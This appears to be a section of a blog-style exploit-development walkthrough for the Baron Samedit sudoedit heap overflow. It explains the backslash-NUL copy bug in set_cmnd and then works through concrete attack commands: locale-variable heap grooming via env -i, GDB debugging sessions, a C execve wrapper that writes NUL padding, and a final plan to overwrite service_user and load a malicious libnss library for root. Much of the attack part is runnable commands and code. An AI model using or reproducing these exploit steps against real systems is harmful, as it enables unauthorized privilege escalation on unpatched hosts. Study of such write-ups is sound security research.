10. Overflowing
10.1. Challenges
Back in §5.2.3 we demoed the minimal overflow trigger with a single crafted argv:
sudoedit -s '\' `printf "A%.0s" {1..n}`Here, n decides how many As we throw into the fire. The trick is that when one argument contains '\' + NUL ("\\\0"), the copy loop in set_cmnd skips the NUL behind the backslash — so the copying never stops where it should. The next bytes keep streaming into the buffer.
That A-string ends up copied twice:
- once with the skipped
\0, - then again with the injected space (
\x20).
Result: we clobber the adjacent chunk:

On paper, you'd think: “fine, I'll just request ~0xa0 bytes, about 140 A's, and smash into my victim.” But reality bites:

In practice, even though we shaped the arena with setlocale, the 0xa0 vuln chunk (tcache) and the 0x40 target chunk aren't neatly neighbors.
setlocale sprayed tons of extra allocations in between. We can't just stretch the payload to bridge the gap—that inflates the allocation size, kicks us out of the 0xa0 bin, and wrecks the fengshui.
So a direct “argv-only” overflow isn't enough. We need another lever.
10.2. Env Overflowing
10.2.1. Argv Manipulation
Remember the vuln boils down to this: any argv containing "\\" + "\x00" makes the copy loop eat beyond its boundary. For sudoedit -[s|i], that's enough to desync the parser.
In the minimal PoC, the copy stopped at the 3rd argv (the A string). Why? Because every argv is NULL-terminated. So even though the loop skipped one NUL, it immediately hit the next.
But here's the hack: ditch the A argv entirely. Run only:
sudoedit -s '\' Now what happens? After the '\' eats its trailing NUL, the loop doesn't find another argv string. Instead, it starts slurping environment bytes into the vulnerable user_args buffer:

Boom — suddenly our overflow isn't capped by argv length. It's powered by the env block, which we fully control. That's the entry point to true env-driven spraying.
10.2.2. Execve Stack
When we run sudo in Linux, execve syscall creates the sudo process and laid out its initial stack for argv and envp:
int execve(const char *path, char *const argv[], char *const envp[]);Every execve(2) call builds a fresh user stack for the new process. On Linux/ELF64, that stack always follows the same canonical layout:
High addresses (initial RSP at _start)
+--------------------+
| argc |
+--------------------+
| argv[0] |
| argv[1] |
| ... |
| argv[argc-1] |
| NULL |
+--------------------+
| envp[0] |
| envp[1] |
| ... |
| envp[n-1] |
| NULL |
+--------------------+
| auxv[] (AT_* pairs)|
| ... |
| AT_NULL |
+--------------------+
| "strings block" |
| argv0\0argv1\0...|
| env0=...\0... |
| ... |
+--------------------+
Low addressesTwo key properties:
- The pointers (argv/envp) are in the table section; the actual bytes live in a single string block.
- The kernel copies all argv strings first, then immediately the env strings, each NUL-terminated, back-to-back.
10.2.3. Sudo Stack
Now look at our minimal PoC:
sudoedit -s '\'Here argv[2] is just "\\\0". On entry to main, the kernel has built the string block like:
argv[0]: "/usr/local/bin/sudoedit\0"
argv[1]: "-s\0"
argv[2]: "\\\0" ← the backslash argument
env[0]: "CLUTTER_IM_MODULE=xim\0"
env[1]: "COLORTERM=truecolor\0"
env[2]: "DBUS_SESSION_BUS_ADDRESS=…\0"
...Verify in GDB:

So in memory (little-endian hex dump):
0x7fffffffe210 : 0x5c ('\')
0x7fffffffe211 : 0x00 (NUL terminator of "\\")
0x7fffffffe212 : 0x43 ('C')
0x7fffffffe213 : 0x4c ('L')
0x7fffffffe214 : 0x55 ('U')
0x7fffffffe215 : 0x54 ('T')
0x7fffffffe216 : 0x54 ('T')
0x7fffffffe217 : 0x45 ('E')See the trick? After the backslash eats its \0, the de-escape copy loop doesn't stop — it just keeps pulling from the next byte in the string block. And the very next byte is the beginning of the environment block ("CLUTTER_IM_MODULE=...").
That's why environment variables become our overflow payload reservoir. Instead of being bounded by argv length, we can fill gigabytes of env data if needed — all contiguous, all under our control.
10.2.4. Env Hijacking
With the minimal trigger:
sudoedit -s '\' …the trailing '\0' and the first environment string get copied straight into the user_args buffer:

That's the core of Baron Samedit: the de-escape copy loop skips the NUL after '\' and keeps slurping bytes right into adjacent heap chunks.
Now, let's weaponize it. Instead of a tiny test argument, prepend junk before the '\' to inflate the vuln chunk size:
sudoedit -s $(printf 'A%.0s' {1..140})'\'Overflowed:

Perfect — we've just created a 0xa0-sized vuln chunk. But there's still a catch: under normal conditions we'd only overflow into the first env string (CLUTTER_IM_MODULE=xim\0) before the copy halts at its NUL. That's barely a nibble.
The trick? Use environment variables themselves as overflow ammo.
- Every env var lives contiguously after argv in the execve string block.
- Nothing stops us from injecting more
'\'inside env values, each skipping another NUL and letting the copy chew through the next variable, and the next… - With this chain, we get an effectively unbounded overflow stream into
user_args, while still keeping the vuln chunk's allocation size fixed at 0xa0.
The clean-room way to test: start with a blank env and craft only the payload vars. Linux's env -i makes this trivial:
env -i LC_IDENTIFICATION="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..140})\\" \
LC_MEASUREMENT="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_ADDRESS="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_NAME="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_CTYPE="$(printf 'bad/locale')\\" \
sudoedit -s "$(printf 'X%.0s' {1..140})\\"Each locale var both grooms the heap (see §9.2 primitives) and doubles as overflow bullet.
Debugging command with GDB:
gdb -q \
-ex "set follow-exec-mode new" \
--args env -i \
LC_IDENTIFICATION="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..140})\\" \
LC_MEASUREMENT="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_ADDRESS="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_NAME="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_CTYPE='bad/locale\' \
sudoedit -s "$(printf 'X%.0s' {1..140})\\"When we run
gdb --args env -i … sudoedit …, GDB starts onenvfirst, thenenvcallsexecve()onsudoedit. Make sure GDB follows the exec:set follow-exec-mode new set detach-on-fork on # default
Inside the debugger we confirm that the setlocale prelude has populated tcache bins with our chosen 0x40 and 0xa0 chunks:

The vuln chunk (0xa0) is carved from tcache and sits right above a 0x40 victim:

set_cmnd then allocates into that 0xa0 slot for user_args:

Below it lies our prime target: a freshly allocated "compat" service_user object (0x40-sized), ripe for corruption:

It's already close enough to land a hit with our env-overflow primitive, and with more deliberate heap fengshui we can squeeze that gap even tighter (currently ~0x670 bytes before the first 0x40 target bin).
The real kicker: our overflow ammo is unlimited. There's no meaningful cap on the number of env strings, their length, or even their format—do read on
10.2.5. Null Writing
We can fill the gap between vuln and target chunks with throwaway env entries like A=a B=b C=c .... But random ASCII can be risky—if we accidentally stomp the first few fields of a service_user struct with garbage, the program might crash before we even get to the fun part. It's much safer to pad with NUL bytes instead.
Can this be done? Theoretically, yes. Recall the vuln copy loop in set_cmnd:
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++;
*to++ = *from++; // <-- if argv ends with '\', this copies the NUL then walks past it
}If the source string ends with a lone '\', the loop will happily copy its terminating NUL into the destination, then step forward—effectively letting us write pure NULs into overflowed memory.
The problem: env vars passed via /usr/bin/env must be NAME=VALUE. Each is NUL-terminated by the kernel, so we can't sneak in a bare "\\" as an env string:
$ env -i "A=a" "\\" "\\" sudoedit -s "$(printf 'X%.0s' {1..140})\\"
env: ‘\\': No such file or directoryHowever, with a C wrapper that calls execve(path, argv, envp), we can put any NUL-terminated strings in envp (even ones without = like "\\"). The kernel doesn't validate the format; it just builds the initial stack: a contiguous blob of argv strings followed immediately by env strings, and arrays of pointers into that blob.
The trick is to skip /usr/bin/env entirely and call execve() directly. The kernel doesn't care what's in envp[]—as long as it's an array of pointers to NUL-terminated strings, it'll happily set them up. That means we can push in raw "\\" entries to act as NUL-writers.
PoC wrapper:
// null_write.c
#define _GNU_SOURCE
#include <unistd.h>
// Each "\\" writes a Null
static char *envp[0x100] = {
"axura=aaaaa\\",
"\\",
"\\",
"\\",
"\\",
NULL
};
int main(void) {
char *argv[] = { "sudoedit", "-s",
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\\",
NULL };
execve("/usr/bin/sudoedit", argv, envp);
return 0;
}In GDB, after set_cmnd runs, we can see exactly 5 NUL bytes written after the vuln chunk (one for each "\\" entry we dropped into the env):

This gives us a surgical padding primitive: instead of spraying risky data, we can line the gap with harmless zeros and keep our exploit stable..
10.3. Sandwitch
The targets are the meat—we just need the right bread. In our earlier PoC, the vuln chunk was separated from the service_user targets by a gap of other allocations. Writing across that gap risks nuking chunks that are still live in set_cmnd or nss_load_library, causing crashes.
The fix: a sandwich layout. Place the vuln chunk between safe junk (the “cheese and lettuce”), so when it overflows it lands directly into the next service_user target.
Visualization:

Setup a debugging command for demonstration, by twisting the grooming order from previous used command:
gdb -q \
-ex "set follow-exec-mode new" \
--args env -i \
LC_IDENTIFICATION="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_MEASUREMENT="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_ADDRESS="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..140})\\" \
LC_NAME="$(printf 'C.UTF-8@'; printf 'A%.0s' {1..43})\\" \
LC_CTYPE='bad/locale\' \
sudoedit -s "$(printf 'X%.0s' {1..140})\\"After setlocale runs, we have three 0x40 tcache chunks and one 0xa0 vuln chunk staged:

When set_cmnd allocates, chunk 3 (the vuln) lands right above chunk 4 (the target service_user). The gap is now just ~0x6f0 bytes, easy to bridge with our env overflow:

The other intervening chunks are irrelevant filler—they won't be touched again, making them harmless collateral.
Final game plan:
- Tune heap fengshui to shrink vuln→target distance.
- Overflow with controlled data or NULs, avoiding live objects.
- Flip
service_user->library = NULL, hijackservice_user->nameto a bogus service.- Drop in a malicious shared library as
libnss_<name>.so.2.- Debug, trigger, PWN.
Comments | 1 comment
what is the password for writeup